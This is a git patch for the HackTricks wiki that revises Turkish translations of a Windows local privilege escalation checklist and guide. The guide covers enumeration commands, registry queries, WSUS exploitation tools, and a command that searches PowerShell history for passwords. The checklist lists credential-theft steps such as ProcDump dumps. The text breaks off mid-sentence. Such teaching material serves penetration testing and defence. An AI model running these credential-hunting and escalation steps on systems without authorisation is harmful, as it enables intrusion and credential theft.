From e51864729957b70b117fe8e0724912aa7a962638 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 14:50:58 +0000 Subject: [PATCH] Translated ['src/windows-hardening/windows-local-privilege-escalation/RE --- src/SUMMARY.md | 1 + .../checklist-windows-privilege-escalation.md | 163 ++--- .../README.md | 567 +++++++++--------- .../abusing-auto-updaters-and-ipc.md | 123 ++++ 4 files changed, 490 insertions(+), 364 deletions(-) create mode 100644 src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 343cdd455..9a62d47c5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -236,6 +236,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index 41833b3d2..e85379c12 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,114 +1,115 @@ -# Kontrol Listesi - Yerel Windows Yetki Yükseltme +# Kontrol Listesi - Local Windows Privilege Escalation {{#include ../banners/hacktricks-training.md}} -### **Windows yerel yetki yükseltme vektörlerini aramak için en iyi araç:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -### [Sistem Bilgisi](windows-local-privilege-escalation/index.html#system-info) +### [System Info](windows-local-privilege-escalation/index.html#system-info) -- [ ] [**Sistem bilgilerini**](windows-local-privilege-escalation/index.html#system-info) elde et -- [ ] **kernel** için **saldırılar** [**scriptler kullanarak**](windows-local-privilege-escalation/index.html#version-exploits) ara -- [ ] **Google kullanarak** kernel **saldırılarını** ara -- [ ] **searchsploit kullanarak** kernel **saldırılarını** ara -- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) içinde ilginç bilgiler var mı? -- [ ] [**PowerShell geçmişinde**](windows-local-privilege-escalation/index.html#powershell-history) şifreler var mı? -- [ ] [**Internet ayarlarında**](windows-local-privilege-escalation/index.html#internet-settings) ilginç bilgiler var mı? -- [ ] [**Sürücüler**](windows-local-privilege-escalation/index.html#drives)? -- [ ] [**WSUS saldırısı**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] Elde edin [**System information**](windows-local-privilege-escalation/index.html#system-info) +- [ ] Ara **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) +- [ ] **Google to search** ile kernel **exploits** için ara +- [ ] **searchsploit to search** ile kernel **exploits** için ara +- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) içinde ilginç bilgi var mı? +- [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history) içinde parolalar var mı? +- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) içinde ilginç bilgi var mı? +- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)? +- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)? -### [Günlükleme/AV sayımı](windows-local-privilege-escalation/index.html#enumeration) +### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) -- [ ] [**Denetim**](windows-local-privilege-escalation/index.html#audit-settings) ve [**WEF**](windows-local-privilege-escalation/index.html#wef) ayarlarını kontrol et -- [ ] [**LAPS**](windows-local-privilege-escalation/index.html#laps) kontrol et -- [ ] [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) aktif mi kontrol et -- [ ] [**LSA Koruması**](windows-local-privilege-escalation/index.html#lsa-protection)? -- [ ] [**Kimlik Bilgileri Koruması**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) -- [ ] [**Önbelleklenmiş Kimlik Bilgileri**](windows-local-privilege-escalation/index.html#cached-credentials)? -- [ ] Herhangi bir [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) kontrol et -- [ ] [**AppLocker Politikası**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? -- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) -- [ ] [**Kullanıcı Yetkileri**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] [**mevcut** kullanıcı **yetkilerini**](windows-local-privilege-escalation/index.html#users-and-groups) kontrol et -- [ ] [**herhangi bir ayrıcalıklı grubun**](windows-local-privilege-escalation/index.html#privileged-groups) üyesi misin? -- [ ] [**bu tokenlerden herhangibiri**](windows-local-privilege-escalation/index.html#token-manipulation) etkin mi: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? -- [ ] [**Kullanıcı Oturumları**](windows-local-privilege-escalation/index.html#logged-users-sessions)? -- [ ] [**kullanıcı evlerini**](windows-local-privilege-escalation/index.html#home-folders) kontrol et (erişim?) -- [ ] [**Şifre Politikası**](windows-local-privilege-escalation/index.html#password-policy) kontrol et -- [ ] [**Panoya**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard) ne var? +- [ ] Kontrol edin [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) ve [**WEF** ](windows-local-privilege-escalation/index.html#wef) ayarlarını +- [ ] Kontrol edin [**LAPS**](windows-local-privilege-escalation/index.html#laps) +- [ ] [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) aktif mi kontrol edin +- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)? +- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) +- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)? +- [ ] Herhangi bir [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) kontrol edin +- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? +- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) kontrol edin +- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] Mevcut kullanıcı [**privileges**](windows-local-privilege-escalation/index.html#users-and-groups) kontrol edin +- [ ] Herhangi bir [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups) misiniz? +- [ ] Aşağıdaki token'lara sahip misiniz kontrol edin (enabled): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)? +- [ ] [**users homes**](windows-local-privilege-escalation/index.html#home-folders) kontrol edin (erişim?) +- [ ] [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) kontrol edin +- [ ] [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard) içinde ne var? -### [Ağ](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] **mevcut** [**ağ** **bilgilerini**](windows-local-privilege-escalation/index.html#network) kontrol et -- [ ] Dışarıya kısıtlı **gizli yerel hizmetleri** kontrol et +- [ ] Mevcut [**network information**](windows-local-privilege-escalation/index.html#network) kontrol edin +- [ ] Dışa kapalı gizli local servisleri kontrol edin -### [Çalışan Süreçler](windows-local-privilege-escalation/index.html#running-processes) +### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) -- [ ] Süreçlerin ikili [**dosya ve klasör izinleri**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) -- [ ] [**Bellek Şifre madenciliği**](windows-local-privilege-escalation/index.html#memory-password-mining) -- [ ] [**Güvensiz GUI uygulamaları**](windows-local-privilege-escalation/index.html#insecure-gui-apps) -- [ ] `ProcDump.exe` aracılığıyla **ilginç süreçlerle** kimlik bilgilerini çal? (firefox, chrome, vb...) +- [ ] Process binary'lerinin [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) izinlerini kontrol edin +- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) +- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) +- [ ] İlginç process'lerle **ProcDump.exe** kullanarak kimlik bilgilerini çalın? (firefox, chrome, vb.) -### [Hizmetler](windows-local-privilege-escalation/index.html#services) +### [Services](windows-local-privilege-escalation/index.html#services) -- [ ] [Herhangi bir **hizmeti değiştirebilir misin**?](windows-local-privilege-escalation/index.html#permissions) -- [ ] [Herhangi bir **hizmet** tarafından **çalıştırılan** **ikiliyi** **değiştirebilir misin**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) -- [ ] [Herhangi bir **hizmetin** **kayıt defterini** **değiştirebilir misin**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) -- [ ] [Herhangi bir **belirtilmemiş hizmet** ikili **yolu** üzerinden avantaj sağlayabilir misin?](windows-local-privilege-escalation/index.html#unquoted-service-paths) +- [ ] Herhangi bir service'yi **değiştirebilir** misiniz? (modify) (permissions) [Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions) +- [ ] Herhangi bir service tarafından **çalıştırılan binary'yi** **değiştirebilir** misiniz? [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) +- [ ] Herhangi bir service'in **registry**'sini **değiştirebilir** misiniz? [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) +- [ ] Herhangi bir **unquoted service** binary **path**'inden yararlanabilir misiniz? [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) -### [**Uygulamalar**](windows-local-privilege-escalation/index.html#applications) +### [**Applications**](windows-local-privilege-escalation/index.html#applications) -- [ ] **Yüklenmiş uygulamalar üzerindeki** [**yazma**](windows-local-privilege-escalation/index.html#write-permissions) izinleri -- [ ] [**Başlangıç Uygulamaları**](windows-local-privilege-escalation/index.html#run-at-startup) -- [ ] **Zayıf** [**Sürücüler**](windows-local-privilege-escalation/index.html#drivers) +- [ ] Yüklü uygulamalarda **write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) +- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) +- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) ### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) -- [ ] **PATH içindeki herhangi bir klasöre yazabilir misin**? -- [ ] **yüklenmeye çalışan** herhangi bir bilinen hizmet ikilisi var mı **mevcut olmayan DLL**? -- [ ] **herhangi bir** ikili klasöre **yazabilir misin**? +- [ ] PATH içindeki herhangi bir klasöre **yazabilir** misiniz? +- [ ] Hiçbir servisin bilinen ve **olmayan** bir DLL'i yüklemeye çalıştığı biliniyor mu? +- [ ] Herhangi bir **binaries folder** içine **yazabilir** misiniz? -### [Ağ](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Ağı say (paylaşımlar, arayüzler, yollar, komşular, ...) -- [ ] localhost (127.0.0.1) üzerinde dinleyen ağ hizmetlerine özel bir göz at +- [ ] Ağı enumerate edin (shares, interfaces, routes, neighbours, ...) +- [ ] Localhost (127.0.0.1) üzerinde dinleyen network servislerine özellikle bakın -### [Windows Kimlik Bilgileri](windows-local-privilege-escalation/index.html#windows-credentials) +### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) -- [ ] [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials) kimlik bilgileri -- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) kullanabileceğin kimlik bilgileri var mı? -- [ ] İlginç [**DPAPI kimlik bilgileri**](windows-local-privilege-escalation/index.html#dpapi)? -- [ ] Kaydedilmiş [**Wifi ağlarının**](windows-local-privilege-escalation/index.html#wifi) şifreleri? -- [ ] [**kaydedilmiş RDP Bağlantılarında**](windows-local-privilege-escalation/index.html#saved-rdp-connections) ilginç bilgiler var mı? -- [ ] [**son çalıştırılan komutlarda**](windows-local-privilege-escalation/index.html#recently-run-commands) şifreler var mı? -- [ ] [**Uzak Masaüstü Kimlik Bilgileri Yöneticisi**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) şifreleri? -- [ ] [**AppCmd.exe** mevcut mı](windows-local-privilege-escalation/index.html#appcmd-exe)? Kimlik bilgileri? -- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Yan Yükleme? +- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) kimlik bilgileri +- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) kullanabileceğiniz kimlik bilgileri var mı? +- [ ] İlginç [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? +- [ ] Kaydedilmiş [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) parolaları? +- [ ] [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) içinde ilginç bilgi? +- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) içinde parolalar var mı? +- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) parolaları? +- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Kimlik bilgileri? +- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading? -### [Dosyalar ve Kayıt Defteri (Kimlik Bilgileri)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) +### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) -- [ ] **Putty:** [**Kimlik Bilgileri**](windows-local-privilege-escalation/index.html#putty-creds) **ve** [**SSH anahtarları**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) -- [ ] [**Kayıt defterinde SSH anahtarları**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? -- [ ] [**denetimsiz dosyalarda**](windows-local-privilege-escalation/index.html#unattended-files) şifreler var mı? +- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) +- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? +- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) içinde parolalar? - [ ] Herhangi bir [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) yedeği var mı? -- [ ] [**Bulut kimlik bilgileri**](windows-local-privilege-escalation/index.html#cloud-credentials)? +- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)? - [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) dosyası? -- [ ] [**Önbelleklenmiş GPP Şifresi**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? -- [ ] [**IIS Web yapılandırma dosyasında**](windows-local-privilege-escalation/index.html#iis-web-config) şifre var mı? -- [ ] [**web** **günlüklerinde**](windows-local-privilege-escalation/index.html#logs) ilginç bilgiler var mı? -- [ ] Kullanıcıdan [**kimlik bilgilerini istemek**](windows-local-privilege-escalation/index.html#ask-for-credentials) ister misin? -- [ ] [**Geri Dönüşüm Kutusu içindeki**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) ilginç dosyalar var mı? -- [ ] [**kimlik bilgileri içeren diğer**](windows-local-privilege-escalation/index.html#inside-the-registry) kayıt defterleri var mı? -- [ ] [**Tarayıcı verileri içinde**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, geçmiş, yer imleri, ...)? -- [ ] Dosyalar ve kayıt defterinde [**genel şifre araması**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) -- [ ] Şifreleri otomatik olarak aramak için [**Araçlar**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) +- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? +- [ ] [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) içindeki parola? +- [ ] [**web logs**](windows-local-privilege-escalation/index.html#logs) içinde ilginç bilgi? +- [ ] Kullanıcıdan [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) ister misiniz? +- [ ] [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) içindeki ilginç dosyalar? +- [ ] Diğer [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry) +- [ ] [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) içinde (dbs, history, bookmarks, ...)? +- [ ] Dosya ve registry'de [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) +- [ ] Parola aramak için [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) -### [Sızdırılan İşleyiciler](windows-local-privilege-escalation/index.html#leaked-handlers) +### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers) -- [ ] Yönetici tarafından çalıştırılan bir sürecin herhangi bir işleyicisine erişimin var mı? +- [ ] Yönetici tarafından çalıştırılan bir process'in herhangi bir handler'ına erişiminiz var mı? -### [Pipe İstemci Taklit Etme](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) +### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) -- [ ] Bunu kötüye kullanıp kullanamayacağını kontrol et +- [ ] Kötüye kullanıp kullanamayacağınızı kontrol edin {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 97f4cfa63..1b1abbadc 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -1,14 +1,14 @@ -# Windows Local Privilege Escalation +# Windows Yerel Ayrıcalık Yükseltme {{#include ../../banners/hacktricks-training.md}} -### **Windows local privilege escalation vektörlerini aramak için en iyi araç:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Windows yerel ayrıcalık yükseltme vektörlerini aramak için en iyi araç:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Windows - Temel Teori +## Windows Temelleri ### Access Tokens -**Devam etmeden önce Windows Access Tokens'ın ne olduğunu bilmiyorsanız aşağıdaki sayfayı okuyun:** +**Windows Access Tokens'in ne olduğunu bilmiyorsanız, devam etmeden önce aşağıdaki sayfayı okuyun:** {{#ref}} @@ -17,7 +17,7 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**ACLs - DACLs/SACLs/ACEs hakkında daha fazla bilgi için aşağıdaki sayfaya bakın:** +**ACLs - DACLs/SACLs/ACEs hakkında daha fazla bilgi için aşağıdaki sayfayı kontrol edin:** {{#ref}} @@ -26,7 +26,7 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**Windows'taki integrity levels'ın ne olduğunu bilmiyorsanız devam etmeden önce aşağıdaki sayfayı okuyun:** +**Windows'taki integrity levels'ın ne olduğunu bilmiyorsanız, devam etmeden önce aşağıdaki sayfayı okuyun:** {{#ref}} @@ -35,18 +35,18 @@ integrity-levels.md ## Windows Güvenlik Kontrolleri -Windows'ta sistemi **enumerating** yapmanızı, executables çalıştırmanızı veya aktivitelerinizi **detect** edebilecek farklı şeyler vardır. Privilege escalation enumeration'a başlamadan önce aşağıdaki sayfayı **okuyup** bu **defense mechanisms**'ların tamamını **enumerate** etmelisiniz: +Windows'ta sistemin keşfini engelleyebilecek, çalıştırılabilir dosyaların çalışmasını önleyebilecek veya faaliyetlerinizi tespit edebilecek çeşitli mekanizmalar vardır. Privilege escalation enumerasyonuna başlamadan önce aşağıdaki sayfayı okuyup bu tüm savunma mekanizmalarını enumerate etmelisiniz: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## Sistem Bilgisi +## Sistem Bilgileri -### Sürüm bilgisi enumeration +### Sürüm bilgisi keşfi -Windows sürümünün bilinen bir güvenlik açığı (vulnerability) olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin). +Windows sürümünün bilinen bir zafiyeti olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Sürüm Exploitleri +### Sürüm Exploits -Bu [site](https://msrc.microsoft.com/update-guide/vulnerability), Microsoft güvenlik açıkları hakkında ayrıntılı bilgi aramak için kullanışlıdır. Bu veritabanında 4.700'den fazla güvenlik açığı bulunmaktadır; bu, bir Windows ortamının sunduğu **büyük saldırı yüzeyini** gösterir. +Bu [site](https://msrc.microsoft.com/update-guide/vulnerability), Microsoft güvenlik açıkları hakkında ayrıntılı bilgi aramak için kullanışlıdır. Bu veritabanında 4.700'den fazla güvenlik açığı bulunuyor; bu, bir Windows ortamının **büyük saldırı yüzeyini** gösteriyor. **Sistemde** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas has watson embedded)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas, watson'ı içinde barındırır)_ -**Sistem bilgisi ile yerelde** +**Sistem bilgileriyle yerel olarak** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Exploit'lerin GitHub depoları:** +**GitHub depoları (exploits):** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -83,7 +83,7 @@ Bu [site](https://msrc.microsoft.com/update-guide/vulnerability), Microsoft güv ### Ortam -Herhangi bir credential/Juicy info env variables içinde kaydedilmiş mi? +Herhangi bir credential/Juicy bilgi env variables içinde kayıtlı mı? ```bash set dir env: @@ -99,7 +99,7 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell Transcript dosyaları +### PowerShell Transcript files Bunu nasıl etkinleştireceğinizi şu adresten öğrenebilirsiniz: [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash @@ -116,29 +116,29 @@ Stop-Transcript ``` ### PowerShell Module Logging -PowerShell pipeline yürütmelerinin ayrıntıları kaydedilir; yürütülen komutlar, komut çağrıları ve betiklerin bölümleri dahil olmak üzere. Ancak tüm yürütme ayrıntıları ve çıktı sonuçları yakalanmayabilir. +PowerShell pipeline yürütmelerinin ayrıntıları kaydedilir; yürütülen komutlar, komut çağrıları ve betiklerin bazı bölümleri dahil edilir. Ancak tam yürütme ayrıntıları ve çıktı sonuçları yakalanmayabilir. -Bunu etkinleştirmek için belgelendirmedeki "Transcript files" bölümündeki talimatları izleyin ve **"Module Logging"**'i **"Powershell Transcription"** yerine seçin. +Bunu etkinleştirmek için dokümantasyondaki "Transcript files" bölümündeki talimatları izleyin ve **"Module Logging"**'i **"Powershell Transcription"** yerine tercih edin. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -PowersShell günlüklerinin son 15 olayını görüntülemek için şunu çalıştırabilirsiniz: +PowersShell günlüklerinden son 15 olayı görüntülemek için şunu çalıştırabilirsiniz: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Komut dosyasının yürütülmesinin tam etkinlik ve içerik kaydı tutulur; böylece her kod bloğunun çalışırken belgelenmesi sağlanır. Bu süreç, adli inceleme ve kötü amaçlı davranışların analiz edilmesi için değerli olan her etkinliğin kapsamlı bir denetim izini korur. Yürütme sırasında tüm etkinlikler belgelenerek süreç hakkında ayrıntılı içgörüler sağlanır. +Betik çalıştırılmasının tüm etkinlikleri ve tam içerik kaydı yakalanır; böylece her kod bloğu çalıştığı anda belgelenmiş olur. Bu süreç, adli inceleme ve kötü amaçlı davranışların analizinde değerli olan her etkinliğin kapsamlı bir denetim izleğini korur. Tüm etkinlikleri çalıştırma zamanında belgelendirerek, işleme ilişkin ayrıntılı içgörüler sağlar. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Script Block için kayıt olayları Windows Event Viewer içinde şu yolda bulunabilir: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Script Block'a ait kayıt olayları Windows Event Viewer içinde şu yolda bulunabilir: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Son 20 olayı görüntülemek için şunu kullanabilirsiniz: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview @@ -156,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Güncellemeler http**S** yerine http ile isteniyorsa sistemi ele geçirebilirsiniz. +Güncellemeler http**S** yerine http üzerinden talep ediliyorsa sistemi ele geçirebilirsiniz. -Aşağıdakini cmd'de çalıştırarak ağın SSL olmayan bir WSUS güncellemesi kullanıp kullanmadığını kontrol etmekle başlarsınız: +İlk olarak ağın SSL kullanmayan bir WSUS güncellemesi kullanıp kullanmadığını kontrol etmek için cmd'de aşağıdakileri çalıştırın: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -166,7 +166,7 @@ Veya PowerShell'de aşağıdakiler: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -Böyle bir yanıt alırsanız: +Aşağıdakilerden biri gibi bir yanıt alırsanız: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -180,11 +180,11 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`. +Ve eğer `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` veya `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` değeri `1` ise. -O zaman, **istismar edilebilir.** Eğer son kayıt değeri `0` ise, WSUS girdisi göz ardı edilecektir. +O zaman, **sömürülebilir.** Son kayıt değeri `0` ise, WSUS girişi göz ardı edilecektir. -In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic. +Bu zafiyetleri sömürmek için şu araçları kullanabilirsiniz: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS 